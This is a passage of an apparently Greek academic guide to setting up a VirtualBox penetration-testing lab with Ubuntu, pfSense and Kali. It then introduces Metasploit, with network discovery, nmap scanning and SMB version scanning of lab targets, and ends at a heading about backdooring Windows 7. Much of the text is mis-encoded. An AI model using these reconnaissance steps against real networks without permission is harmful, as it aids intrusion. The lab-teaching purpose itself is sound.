Linux και ο kernel κα είναι ubuntu. Στο επόμενο βιμα κα του προςκζςω μόνο 512 MB μζγιςτθσ χριςθσ ram αφοφ 

δεν κα χρειαςτϊ περιςςότερο , και του ορίηω ζναν virtual ςκλθρό δίςκο τφπου vdi fixed size με μζγιςτο όριο ςτον 

φυςικό ςκλθρό δίςκο 200 GB 
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εικόνα 3.54 ςτθν κατθγορία storage ςτα settings τθσ μθχανισ προςκζτω το .iso το εικονικό διςκάκι του ubuntu 
server. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.55 Στθν αρχι κα ηθτιςει να βάλεισ ζνα username και password και φςτερα κα ηθτιςει από τον χριςτθ 
άμα κζλει να κρυπτογραφιςει τον δίςκο αλλά δεν υπάρχει λόγοσ για το ςυγκεκριμζνο project κάποιοσ να μπει ςε 
τζτοια διαδικαςία. 
 
 
 
 
 
 
 
 
 
 
 

 

75 



malware , active hacking ,passive hacking 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εικόνα 3.56 μασ εμφανίηει μία επιλογι όπου ρωτάει ποια λογιςμικά κζλω να εγκαταςτιςω όπωσ παράδειγμα θ 
πρϊτθ επιλογι είναι να εγκαταςτιςω ζναν DNS server για dns υπθρεςίεσ.Εγϊ κα εγκαταςτιςω τισ LAMP , 
OpenSSH και Samba File λογιςμικά για τουσ servers αυτά αρκοφν. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.57 επειδι ςτθν προθγοφμενθ επιλογι επιλζχκθκε θ επιλογι LAMP Server ηθτάει τϊρα να δϊςω ζναν 
κωδικό για τον χριςτθ root τθσ MySql. κα εμφανίςει μία επιλογι οποφ κα λζει να κάνει αυτόματα τισ 
αναβακμίςεισ θ να μθν τισ κάνει. Εγϊ κα επιλζξω να μθν τισ κάνει τισ αναβακμίςεισ αυτόματα. 
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εικόνα 3.58 μόλισ τελείωςε θ εγκατάςταςθ ςτον εικονικό δίςκο. Μετά κα εμφανίςει να ειςάγω username και 
password για αυκεντικοποίθςθ του χριςτθ από αυτά που είχα βάλει ςτθν αρχι. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.59 άμα δϊςω τθν εντολι ifconfig βλζπω ότι ζχει επαφι με τον φυςικό router και του ζχει δϊςει ip 
διεφκυνςθ. Αν δϊςω τθν εντολι exit κα αποςυνδεκεί από τον χριςτθ και κα ηθτάει ξανά ειςαγωγι username και 
password για αυκεντικοποίθςθ χριςτθ. 
 
 

 

Εγκατάςταςη του pfSense ςτο εικονικό Penetration test lab 

 

Το pfSense είναι ζνασ ανοικτοφ κϊδικα router/firewall και βαςίηετε ςτο freeBSD και χρθςιμοποιεί το pfFirewall.Στισ 

δυνατότθτζσ του ςυμπεριλαμβάνονται το load balancing , packet sniffing , dynamic DNS , vpn , indrunder detection , 

web proxies , μπορεί να δϊςει ςτα μθχανιματα από τον DHCP server ip διευκφνςεισ , μποροφν να 

χρθςιμοποιιςουν τον DNS server του pfSense , μποροφν να επικοινωνιςουν με τα αλθκινά μθχανιματα εκτόσ του 

virtual δικτφου , αλλά προςτατεφονται και από αυτά χάρισ το firewall του pfSense και άλλεσ πολλζσ λειτουργίεσ. 
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Πριν ξεκινιςει θ εγκατάςταςθ του pfSense πρζπει να γίνουν κάποιεσ ρυκμίςεισ ςτο Virtual box.Θα πάω ςτο αρχικό 
γραφικό περιβάλλον του Oracle VMware Και κα πατιςω τθν επιλογι Preferences από τθν επιλογι file. 
 
 
 
 
 
 
 
 

 

εικόνα 3.60 File -> Preferences 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.61 πθγαίνω ςτθν κατθγορία Network , ςτθν καρτζλα Add host-only network το πράςινο κουμπί δεξιά) για 
να γίνει εγκατάςταςθ ενόσ ι περιςςότερων virtual Host only ethernet adapter. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.62 πάντα ζχει ζναν τουλάχιςτον προεγκατεςτθμζνο virtual host only ethernet adapter άλλα εγϊ τον 
ζςβθςα και τον ζβαλα από τθν αρχι για να δείξω τθν διαδικαςία.Στθν ςυνζχεια πατάω το εικονίδιο δεξιά το πινζλο 
για κάποιεσ παραπάνω ρυκμίςεισ. 
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εικόνα 3.63 ςτθν καρτζλα Adapter μπορϊ να ρυκμίςω τθν ip address που κα βάλω να ζχει όπωσ εγϊ ζβαλα το 
192.168.126.254 για να είναι διαφορετικό δίκτυο από το φυςικό τοπικό δίκτυο που είναι 192.168.1.* και ςτθν 
δεφτερθ καρτζλα απενεργοποιϊ τον DHSP Server γιατί αυτιν τθν δουλεία κα τθν κάνει ο pfSense. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.64 ςτθν δεφτερθ καρτζλα τςεκάρω να μθν υπάρχει εξ αρχισ οριςμζνοσ κάποιοσ DHCP server γιατί κα τον 

DHCP 
i
server κα τον ορίςω μζςω του pfSense. 
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εικόνα 3.65 όπωσ φαίνετε ςτθν εικόνα ςε ζνα cmd δίνοντασ τθν εντολι ipconfig βλζπουμε 2 διευκφνςεισ ip από 2 
κάρτεσ δικτφων. Η φυςικι κάρτα δικτφου ςτο τοπικό δίκτυο ζχοντασ πάρει διεφκυνςθ ip 192.168.1.100 και θ 
virtual κάρτα δικτφου δίνοντάσ του πριν τθν διεφκυνςθ 192.168.126.254 όντωσ φαίνετε ςτο screenshot ότι ιςχφει. 

 

Αφοφ ολοκλθρϊκθκαν κάποια πρωταρχικά βιματα τϊρα είναι θ ϊρα για εγκατάςταςθ του pcSense οπότε ςτο 
γραφικό περιβάλλον του Oracle VM virtualBox κα πατιςω το εικονίδιο New για να ςτιςω τθν εικονικι μθχανι του 
pfSense. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.66 είναι τφπου BSD και ςτο Version κα βάλω freeBSD (32bit) 
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εικόνα 3.67 

προτεινόμενθ μνιμθ για 

να λειτουργιςει ςωςτά 

ο εικονικόσ router είναι 

256 MB. 
 
 

 

εικόνα 3.68 ςτο επόμενο βιμα πατάω 

τθν επιλογι add virtual hard drive , 

φςτερα VDI(virtual Disk Image) και 

Dynamically alocated όπωσ είχε γίνει 

και ςτο ςτιςιμο τθσ εικονικισ 

μθχανισ του Kali Linux 2 , ςτο μζγιςτο 

μζγεκοσ του virtual disk image 

δίνουμε 64 GB για να είναι άνετα και 

μετά δεν υπάρχει άλλο βιμα. 

 

Οι ρυκμίςεισ πρζπει να γίνουν όπωσ γίνανε και ςτο Kali Linux 2 από το settings κάνοντασ δεξί κλικ ςτο pfSense και 
πατϊντασ τθν επιλογι Settings ρυκμίηοντασ πάλι 2 επεξεργαςτζσ αντί για ζναν για να είναι ποιο άνετα και φςτερα 
πατϊντασ τθν επιλογι Enable I/O APIC ςτθν καρτζλα Motherboard ςτθν κατθγορία System. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.69 για τθν ςωςτι λειτουργία των 2 
processor πρζπει μετά να κάνουμε τικ ςτθν 

 
επιλογι Enable I/O APIC. 
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Για το κατζβαςμα του pfSense κα μπω ςτθν επίςθμθ ιςτοςελίδα και κα πάω ςτθν επιλογι Downloads 
https://www.pfsense.org/download/mirror.php?section=downloads και κα πατιςω τισ παρακάτω επιλογζσ που 
χρειάηονται για τθν ςυγκεκριμζνθ δουλειά. 

 

εικόνα 3.70 Οι επιλογζσ είναι να 

κατεβάςω τθν 32 bit ζκδοςθ και 

να είναι ISO για να φορτωκεί ςτο 

virtual box και φςτερα επιλζγω 

από ποιο mirror ποιασ χϊρασ να 

κατεβάςω το pfSense. 
 
 
 
 
 

 

Όταν κατεβεί το pfSense ςε 
live cd ςε μορφι .iso κα το 
φορτϊςω με τον εξισ τρόπο. 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.71 Στθν κατθγορία Storage ςτα δεξιά πατάω το εικονίδιο με το CD για να βρω το .iso του pfSense για να το 
φορτϊςω ςτο virtual machine. Όπωσ φαίνετε ςτθν εικόνα ποιο πάνω ιδθ το φόρτωςα. 

 

Στθν κατθγορία Network τϊρα κα πρζπει να ζχουμε 2 κάρτεσ δικτφου.Μία κάρτα για να βγαίνει ζξω ςτο ίντερνετ 
το pfSense. 

 

εικόνεσ 3.72 με τον Adapter 1 ο 

pfSense μπορεί να επικοινωνιςει με 

τα φυςικά μθχανιματα του φυςικοφ 

δικτφου , με τον router του φυςικοφ 

δικτφου και να βγει ζξω ςτο ίντερνετ 

και κάτω ςτο πλαίςιο MAC Address κα 

είναι θ φυςικι διεφκυνςθ που κα ζχει 

αυτόσ ο adapter. 
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εικόνα 3.73 Στθν δεφτερθ καρτζλα κα πρζπει να ενεργοποιιςω και δεφτερο adapter και για να το κάνω αυτό 
επιλζγω το κουτάκι Enable Network Adapter και από κάτω είναι θ επιλογι Host-only Adapter όπου αυτι θ κάρτα 
δικτφου κα είναι για να επικοινωνοφν οι υπολογιςτζσ του virtual pentest lab. Η εικονικι μθχανι είναι ζτοιμθ. 
 
 
 
 

εικόνα 3.74 όταν κα 

ξεκινιςει για πρϊτθ φορά 

το pfsense κα κζλει να 

κάνει εγκατάςταςθ ςτον 

ςκλθρό δίςκο και ςτο 

ςυγκεκριμζνο παράδειγμα 

ςτο virtual ςκλθρό δίςκο. 

Θα το αφιςω να τρζξει 

μόνο του χωρίσ να 

πατιςω κάτι μζχρι να μου 

βγάλει το μενοφ τθσ 

εγκατάςταςθσ. 
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εικόνα 3.75 

από εδϊ κα 

ξεκινιςει θ 

εγκατάςταςθ. 

δεν κα 

πειράξω τισ 

άλλεσ 

ρυκμίςεισ και 

κα πατιςω 

κατευκείαν 

τθν τελευταία 

"Accept these 

Settings" για 
 
να προχωριςει. 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.76 

επιλζγω το 

quick/easy install 
 
 
 
 
 

 

εικόνα 3.77 επιλζγω το 

"Standard Kernel" χωρίσ 

να βάλω κάτι περίεργο 

ςτθν εγκατάςταςθ απλά 

χρειάηομαι τον βαςικό 

kernel. 
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εικόνα 3.78 αφοφ γίνει θ εγκατάςταςθ ςτον virtual ςκλθρό δίςκο κα πετάξει μινυμα ότι το πρόγραμμα κα κάνει 
επανεκκίνθςθ. Πριν ξαναξεκινιςει κα πρζπει να αφαιρζςω από τθν εικονικι μθχανι το εικονικό cd που bootare το 
pfSense που ςτθν ςυγκεκριμζνθ περίπτωςθ είναι το .iso που κατζβαςα. 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.79 αυτό είναι το 

κεντρικό μενοφ όταν είναι ςε 

λειτουργία το pfSense ζτοιμο 

να διανζμει ip διευκφνςεισ ςτα 

μθχανιματα του virtual 

δικτφου.Στθν μζςθ του μενοφ ο 
 
pfSense αναφζρει ότι ζχει 2 κάρτεσ δικτφου όπωσ άλλωςτε όριςα ςτθν εγκατάςταςθ τθσ εικονικισ μθχανισ πριν 

ςτθκεί. Η μία κάρτα δικτφου είναι το em0 και θ δεφτερθ κάρτα είναι το em1. Η ορολογία em είναι ορολογία τθσ 

openBSD οικογζνειασ και ςυμβολίηει τισ κάρτεσ δικτφου. Η πρϊτθ κάρτα δικτφου θ em0 μζςω του DHCP του 

αλθκινοφ router ςτο φυςικό τοπικό δίκτυο πιρε διεφκυνςθ ip 192.168.1.100 για να επικοινωνεί με τον αλθκινό 

router. Η δεφτερθ κάρτα δικτφου είναι να δίνει ip διευκφνςεισ ςτο virtual τοπικό δίκτυο αλλά ςτθν προκειμζνθ 

περίπτωςθ είναι λάκοσ αυτι θ διεφκυνςθ , πρζπει να τθν αλλάξω γιατί ςτθν αρχι είχα δθλϊςει τθν δεφτερθ κάρτα 

δικτφου ςαν 192.168.126.1 οπότε αυτιν τθν διεφκυνςθ κζλω να ζχει θ δεφτερθ κάρτα δικτφου και να δίνει ςτα 

μθχανιματα διευκφνςεισ όπωσ 192.168.126.* οπότε δίνω τθν επιλογι 2 που αντιςτοιχεί ςτο set interface(s) IP 

address. 
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εικόνα 3.80 εμφανίηει 2 επιλογζσ θ μία να αλλάξω τθν πρϊτθ κάρτα δικτφου που είναι το WAN και θ δεφτερθ 

επιλογι να αλλάξω τθν δεφτερθ κάρτα δικτφου που είναι το LAN. Δίνω τθν επιλογι 2 και πατάω enter και μετά 

εμφανίηει να του δϊςω τθν νζα ip διεφκ υνςθ για το lan interface , επίςθσ για τα μθχανι ματα που βρίςκονται 

πίςω από το pfSense αυτι κα είναι θ διεφκυνςθ του router όπου κα ζχει τον ρόλο του gatew ay όπου κα 

παίρνουν διευκφνςεισ ip . Θα δϊςω όποια διεφκυνςθ κζλω αρκεί να μθν είναι θ διεφκυνςθ 192.168.126.254 γιατί 

αυτι θ διεφκυνςθ ανικει ςτο host only interface που βλζπει και ο αλθκινόσ host που είναι win dows 7 οπότε κα 

δϊςω τθν διεφκυνςθ 192.168.126.1 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.81 μετά που ζδωςα διεφκυνς θ Ip κα δϊςω και το subnet mask οπότε κα δϊς ω το 24. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.82 ο pfSense ρωτάει άμα χρεια ηόμαςτε DHCP server και δίνω τθν επιλογι 'y' π ου ςυμβολίηει το yes και 

μετά με ρωτάει το εφροσ διευκφνςεων Ip να δίνει ςτα μθχανιματα που ςυνδζονται ςτον router από πίςω. του 

ζδωςα το εφροσ διευκφνςεων από 192. 168.126.100 ζωσ 192.168.126.150 δθλαδι κα δίνει 51 διευκφνςεισ ip. 
 
 

 

εικόνα 3.83 ρωτάει ο pfSense να υπάρχει ο 
http webconfigurator δθλαδι να 

 
εμφανίηει το γραφικό περιβάλλον όταν κάποιο μθχάνθμα που είναι ςυνδεμζνο ςτον rou ter pfSense και του δίνω 
ςε ζναν browser τθν διεφκυνςθ 192.168.12 6.1 να ςυνδζετε με τον pfSense μζςω γραφικοφ περιβάλλοντοσ για να 
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αποκτιςουμε πρόςβαςθ ςτισ ρυκμίςεισ του pfSense. Το πρωτόκολλο ςφνδεςθσ κα είναι http αλλά άμα κάποιοσ 
χριςτθσ κζλει αςφάλεια κα μπορεί να το αλλάξει αργότερα και ςε https. 
 
 
 
 

εικόνα 3.84 τϊρα ο pfSense 

είναι ζτοιμοσ να εξυπθρετιςει 

όλο το virtual pen test lab που 

ςτικθκε.Πρζπει να πάω ςε μία 

μία τισ εικονικζσ μθχανζσ και να 

μπω ςτα settings , ςτθν 

κατθγορία network και ςε κάκε 

adaptor να αλλάξω τθν επιλογι 
 

apo NΑΤ ( αυτι θ επιλογι είχε ςφνδεςθ ςτον φυςικό adsl router) ςτθν επιλογι Host-only Adapter που τϊρα κα 
ζχει ςφνδεςθ ςτο pfSense.Προςοχι , κα αλλάξουν οι adaptors μόνο των λειτουργικϊν ςυςτθμάτων kali linux , 
metasploitable , ubuntu server και windows xp αλλά όχι ο pfSense. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.85 μετά τθν αλλαγι ςτουσ adaptors ζτρεξα το kali linux και ςτο terminal ζδωςα τθν εντολι ifconfig. Βλζπω 

ότι θ διεφκυνςθ Ip που ζχω μου τθν ζδωςε ο pfSense γιατί είχα ορίςει τον pfSense να ζχει το 192.168.126 και 

επίςθσ παρατθρϊ ότι δοφλεψε ο DHCP server και μου ζδωςε τθν διεφκυνςθ 100 που είχα ορίςει το εφροσ 

διευκφνςεων. 
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εικόνα 3.86 όπωσ φαίνετε ςτθν εικόνα ςτον browser του Kali Linux 2 ζγραψα τθν διεφκυνςθ 192.168.126.1 και 
εμφανίςτθκε το γραφικό περιβάλλον του pfSense για αυκεντικοποίθςθ του χριςτθ για να ζχει κάποιοσ πρόςβαςθ 
ςτισ ρυκμίςεισ του firewall/router. Από default ο pfSense ζχει για usernameτο "admin" και password το "pfsense". 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εικόνα 3.87 είναι θ πρϊτθ ςελίδα που πετάει όταν ςυνδεκϊ ςτον pfSense από κάποιο browser του δικτφου. Ο 

πίνακασ δεξιά είναι τα 2 network interfaces , το WAN interface που ζχει πάρει τθν διεφκυνςθ από τον φυςικό 

adsl router μζςω DHCP , και το LAN interface με διεφκυνςθ 192.168.126.1 , ποιο κάτω ςτθν ςελίδα που δεν τθν 

ζβαλα ολόκλθρθ ςτο screenshot διάφορα ςτατιςτικά που πιάνει ςτον δίςκο το pfSense , κατανάλωςθ μνιμθσ cpu 

usage και άλλα. 
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εικόνα 3.88 ςτθν καρτζλα System πατάω τθν επιλογι Setup Wizard. Θα γίνει εγκατάςταςθ ενόσ βαςικοφ 
οδθγοφ ρυκμίςεων με ςκοπό να κζλω να αλλάξω τθν διεφκυνςθ του WAN interface για να παίρνει ςτατικι ip 
και όχι δυναμικά μζςω του DHCP το WAN interface. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.89 αφοφ τρζξω 

τον οδθγό εγκατάςταςθσ 

το hostname και το 

Domain name Θα τα 
 
αφιςω όπωσ ζχουν. κα προςκζςω ςτο primary DNS Server τθν διεφκυνςθ του φυςικοφ router ςτο αλθκινό τοπικό 
δίκτυο.Secondary DNS Server δεν κα προςκζςω. 
 
 
 
 

εικόνα 3.90 προςκζτω 
ηϊνθ ϊρασ για να ρυκμίςω 
τον time server. 
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εικόνα 3.91 ςτο επόμενο βιμα ςτθν καρτζλα Configure WAN Interface αλλάηω τθν επιλογι από DHCP ςε Static. 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.92 ςτθν καρτζλα Static IP Configuration ςτο IP Address βάηω μία διεφκυνςθ από τον φυςικό router αλλά να 
μθν βρίςκετε μζςα ςτο εφροσ του DHCP Server και από κάτω βάηω το 24 που δθλϊνει το Subnet Mask. Στο Upstram 
Gateway βάηω το 192.168.1.1 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.93 βγάηω το tick από το Block RFC1918 Private Networks επειδι το pfSense είναι εγκατεςτθμζνο για να 
εξυπθρετεί το δίκτυο με τα private addresses δεν το χρειαηόμαςτε να τα blockarei. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.94 ςε αυτό το βιμα δεν αλλάηω τίποτα. 
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εικόνα 3.95 βάηω νζο κωδικό για να ζχει κάποιοσ πρόςβαςθ ςτο graphic user interface του pfSense. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.96 αφοφ 

ολοκλθρωκοφν οι αλλαγζσ 

πθγαίνω ςτθν καρτζλα πάνω 
 

Diagnostics και πατάω τθν επιλογι Ping. Θα τεςτάρω άμα ζχει επαφι με τον πραγματικό router του πραγματικοφ 
δικτφου ο pfSense οπότε γράφω ςτο Hostname τθν διεφκυνςθ 192.168.1.1 Και βλζπω ότι και τα 3 πακζτα ζφταςαν 
με επιτυχία.Σθμειϊνω ότι όταν ολοκλθρωκοφν οι αλλαγζσ ο DHCP του LAN άλλαξαν τα εφροι των διευκφνςεων. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.97 δοκιμάηω πάλι ζναν host ζξω ςτο Internet να δω άμα ζχει επαφι ο router ςε άλλα δίκτυα και δοκιμάηω 
τθν ιςτοςελίδα www.karpathos.gr και βλζπω ότι και τα 3 πακζτα που ςτζλνει φτάνουν με επιτυχία οπότε δείχνει ότι 
ζχει και ςφνδεςθ ζξω ςτο ιντερνετ. 
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3.2 Metasploit Framework introduction 
 
 
 

 

Το metasploit είναι μία πλατφόρμα ανοιχτοφ λογιςμικοφ που βοθκάει ςτο penetration testing. Αυτι θ πλατφόρμα 

διευκολφνει ςθμαντικά τισ επιχειριςεισ πρόςβαςθσ ενόσ penetration tester ςε απομακρυςμζνα μθχανιματα ι και 

ολόκλθρα δίκτυα. Κάποιοσ αρχάριο χριςτθσ που κζλει να εξαςκθκεί ςτο penetration testing ζνασ καλόσ τρόποσ 

είναι να χρθςιμοποιιςει τθν πλατφόρμα metasploit και για ςτόχο να ζχει το λειτουργικό metasploitable. Πριν μπω 

ςτο πρακτικό κομμάτι πρζπει να ξεκακαριςτοφν κάποιεσ ορολογίεσ. 

 

Exploit : Exploit κα πει ότι ζνασ χριςτθσ ψάχνει για ευπάκειεσ (vulnerabilities) ςε λειτουργικά ςυςτιματα 
, υπθρεςίεσ και εφαρμογζσ ϊςτε να εκμεταλλευτεί κατάλλθλα τθν κάκε ευπάκεια. 
 

Payload : Είναι ο κϊδικασ που ο penetration tester προςπακεί να τρζξει ςε ανάλογο exploit που βρικε ςτον ςτόχο. 

 

Listener : Είναι μία λειτουργία πολφ βαςικι για τον metasploit. Ζνασ listener είναι εγκατεςτθμζνοσ ςτο μθχάνθμα 

ςτόχο ςυνικωσ από προςβολι κάποιου κακόβουλου λογιςμικοφ ι social enginnering και κάνει listening ςτθν 

ανάλογθ πόρτα περιμζνοντασ τον metasploit για να δθμιουργιςει ζνα seasion από τον penetration tester ςτον 

ςτόχο. 

 

Msfconsole : Το msfconsole είναι το bash shell δθλαδι μζςα από αυτό ςτο περιβάλλον γραμμισ εντολϊν βρίςκουμε 
exploits , επιλζγουμε payloads , τοποκετοφμε listeners , ςκανάρουμε το δίκτυο. 
 
 
 
 
 

 

εικόνα 3.98 πρϊτθ 

δουλειά που πρζπει 

να γίνει είναι να 

αναγνωρίςω για αρχι 

ςτο περίπου πόςα 
 
μθχανιματα και ποια είναι μζςα ςτο δίκτυο και για αυτιν τθν δουλειά κα χρθςιμοποιιςω το netdiscover και δίνω 

τθν εντολι netdiscover -P -r 192.168.126.0/24 για να ςαρϊςει όλο το subnet Που κζλω για να μου δείξει όλα τα 

ενεργά hosts και εμφανίηει 4 ενεργά hosts.Για να μάκω περιςςότερεσ πλθροφορίεσ για αυτζσ τισ διευκφνςεισ κα 

πρζπει να χρθςιμοποιιςω το εργαλείο nmap όπου είναι ζνα εργαλείο που ςκανάρει τθν εξωτερικι περίμετρο ενόσ 

μθχανιματοσ θ ενόσ ολόκλθρου δικτφου , ςυγκεκριμζνα τα Ports για να δϊςει όςεσ περιςςότερεσ πλθροφορίεσ 

μπορζςει να βρει όπωσ ανοιχτζσ πόρτεσ , εφαρμογζσ που τρζχουν , υπθρεςίεσ που τρζχουν και λειτουργικό 

ςφςτθμα. 
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εικόνα 3.99 με τθν 

εντολι -v εννοϊ 

κακϊσ τρζχει το 

nmap να εμφανίηει 

τα αποτελζςματα 

ςτο terminal , -Pn 

για να μθν 

χρθςιμοποιιςει 
 
pings για να βρει ενεργά hosts αφοφ ιδθ είδα ποια είναι από το netdiscovery , -A για να πάρω πλθροφορίεσ για τα 

λειτουργικά ςυςτιματα που τρζχουν , -oX /root/hostsUP.xml εννοεί να αποκθκεφςει ότι ςτοιχεία βρει ςε ζνα 

αρχείο τφπου xml με όνομα hostsUP που κα είναι αποκθκευμζνο ςτον φάκελο root όπου αυτό το αρχείο αργότερα 

κα το ειςάγω ςτο metasploit. Αφοφ τελειϊςει θ ςάρωςθ του nmap κα ιταν ποιο εφκολο να δω τισ πλθροφορίεσ 

που μάηεψε με το zenmap. Το zenmap είναι το γραφικό περιβάλλον του nmap και για να το βρω το Kali linux 2 

πθγαίνω ςτθν κατθγορία information gathering. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.100 ζκανα input το αρχείο ςτο zenmap εκείνο το .xml που είχε κάνει output to nmap και εμφάνιςε τα 

ςτοιχεία.Όπωσ φαίνετε ςτον αριςτερό πίνακα που δίνει τουσ hosts, ο host με διεφκυνςθ 192.168.126.1 ζχει όνομα 

να εμφανίηετε ςτο τοπικό δίκτυο και το εντόπιςε το Nmap , αυτό το μθχάνθμα είναι ο router pfSense. Αν κλικάρω 

ςτον host με διεφκυνςθ 192.168.126.101 βλζπω ςτον αριςτερό πίνακα ςτθν καρτζλα Ports / Hosts εμφανίηει όλεσ 

τισ ανοιχτζσ πόρτεσ , ποιεσ υπθρεςίεσ τρζχουν και τα version. 
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εικόνα 3.101 ςτθν καρτζλα host details μπορϊ να δω λεπτομζρειεσ για τον 192.168.126.101 ότι ζχει 23 πόρτεσ 
ανοιχτζσ , τθν mac address του , ότι το λειτουργικό του ςφςτθμα είναι Linux 2.6.9 και είναι το Nmap 100% ςίγουρο 
και εκείνθ θ βόμβα που ζχει ςαν εικόνα ςυμβολίηει ότι το ςυγκεκριμζνο μθχάνθμα είναι εφκολοσ ςτόχοσ. 
 
 
 
 
 
 
 

 

εικόνα 3.102 τρζχει τθν υπθρεςία τθσ postgresql για το Metasploit κα χρειαςτεί βάςθ δεδομζνων να ειςζλκει. 
 
 

 

εικόνα 3.103 εντολι εκκίνθςθσ του metasploit 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.104 με τθν εντολι help βοθκάει πολφ εμφανίηοντασ ζναν κατάλογο με τισ εντολζσ που μποροφμε να 
δϊςουμε ςτον metasploit 
 

94 



malware , active hacking ,passive hacking 
 
 

εικόνα 3.105 με τθν 

εντολι db_status 

απαντάει το μθχάνθμα 

ότι είμαι ςυνδεμζνοσ με 

τθν βάςθ δεδομζνων με 

όνομα msf τθσ postgresql. 

με τθν εντολι db_import 

/root/hostsUP.xml είναι 

για να κάνει ειςαγωγι τισ 

πλθροφορίεσ για τα 3 

μθχανιματα που πιρε το 
 
nmap ςτο metasploit. Άμα δϊςω τθν εντολι hosts ςτο metasploit κα εμφανίςει περιςςότερεσ πλθροφορίεσ για τα 
3 μθχανιματα. Αφοφ ζχω κάποιεσ πλθροφορίεσ για τα μθχανιματα ςτόχουσ τϊρα κα πρζπει να χρθςιμοποιιςω 
κάποια modules. Τα modules είναι κάποια μικρότερα εργαλεία ενςωματωμζνα ςτον metasploit και είναι χιλιάδεσ. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.106 αν δϊςω τθν εντολι show ςτον Metasploit κα εμφανίςει όλα τα modules, υπάρχουν πολλζσ 

κατθγορίεσ όπωσ τα auxiliary modules όπου εκεί για παράδειγμα υπάρχουν οι scanners , υπάρχουν τα exploit 

modules και άλλεσ πολλζσ κατθγορίεσ αλλά επειδι είναι χιλιάδεσ με μία τεράςτια λίςτα κα πρζπει να πάει 

ποιο ςυγκεκριμζνα. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.107 αν δϊςω τθν εντολι show auxiliary κα εμφανίςει μόνο τα modules που ανικουν ςτθν κατθγορία 
auxiliary. 
 
 
 

 

95 



malware , active hacking ,passive hacking 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.108 κζλω να βρω ζνα ςυγκεκριμζνο module όπου ανικει ςτθν κατθγορία auxiliery αλλά και ςε μία άλλθ 
υποκατθγορία τθσ auxiliery τθν scanner και είναι υποκατθγορία τθσ scanner με όνομα smb και θ λίςτα που 
εμφανίηει είναι πάλι μεγάλθ κα πάω με τθν εντολι locate. 
 
 
 
 
 

 

εικόνα 3.109 επειδι κζλω να χρθςιμοποιιςω το ςυγκεκριμζνο module για να κάνω ποιο ςυγκεκριμζνο scan τα 3 
μθχανιματα για περιςςότερεσ πλθροφορίεσ και αυτό το module είναι το smb_version τθσ κατθγορίασ smb κα 
δϊςω ςτον terminal τθν εντολι use ayxiliary/scanner/smb/smb_version 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εικόνα 3.110 τϊρα μία εντολι που κα δϊςω που αυτιν τθν εντολι τθν δίνουν πάντα μετά από φόρτωςθ 

κάποιου module είναι θ show options και εδϊ είναι οι παράμετροι που δζχεται το ςυγκεκριμζνο 

module.εμφανίηει ζναν πίνακα με το όνομα των παραμζτρων ςτθν πρϊτθ ςτιλθ και ςτθν τρίτθ ςτιλθ όπου ζχει 

yes εννοεί ότι πρζπει να οριςτεί πριν χρθςιμοποιθκεί το ςυγκεκριμζνο module.Στθν μεταβλθτι RHOSTS κα 

ειςάγω τισ διευκφνςεισ ip που κζλω να ςκανάρω. 

 

εικόνα 3.111 για να ειςάγω 

τισ διευκφνςεισ που βρικα 

πριν με το nmap κα ειςάγω 

τισ διευκφνςεισ ςτθν 

μεταβλθτι RHOSTS του 

module smb_version με τθν 

εντολι set RHOSTS 

192.168.126.1,101,102 και 

μετά για να το επαλθκεφςω 
 
ξαναδίνω τθν εντολι show options και βλζπω ότι ζχει προςτεκεί ςτθν RHOSTS οι διευκφνςεισ. 
 

 

96 



malware , active hacking ,passive hacking 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

3.3 installing backdoor to windows 7 box and hacking with metasploit 
 

Μέσπη ηα windows xp sp2 ήηαν θάποηορ ποιω εωθοιο να εηζβάιεη ζε ένα ηέηοηο ζωζηεµα συπίρ να έσεη 

γνϊζεηρ απψ ςποιογηζηέρ. Σο µψνο πος σπεηαδψηαν ήηαν να έσεη ένα εγθαηεζηεµένο ιεηηοςπγηθψ ψπυρ ηο 
 
Kali linux ή ηο Backtrack linux θαη µε ηεν πιαηθψπµα metasploit να σπεζηµοποηήζεη ηο module 

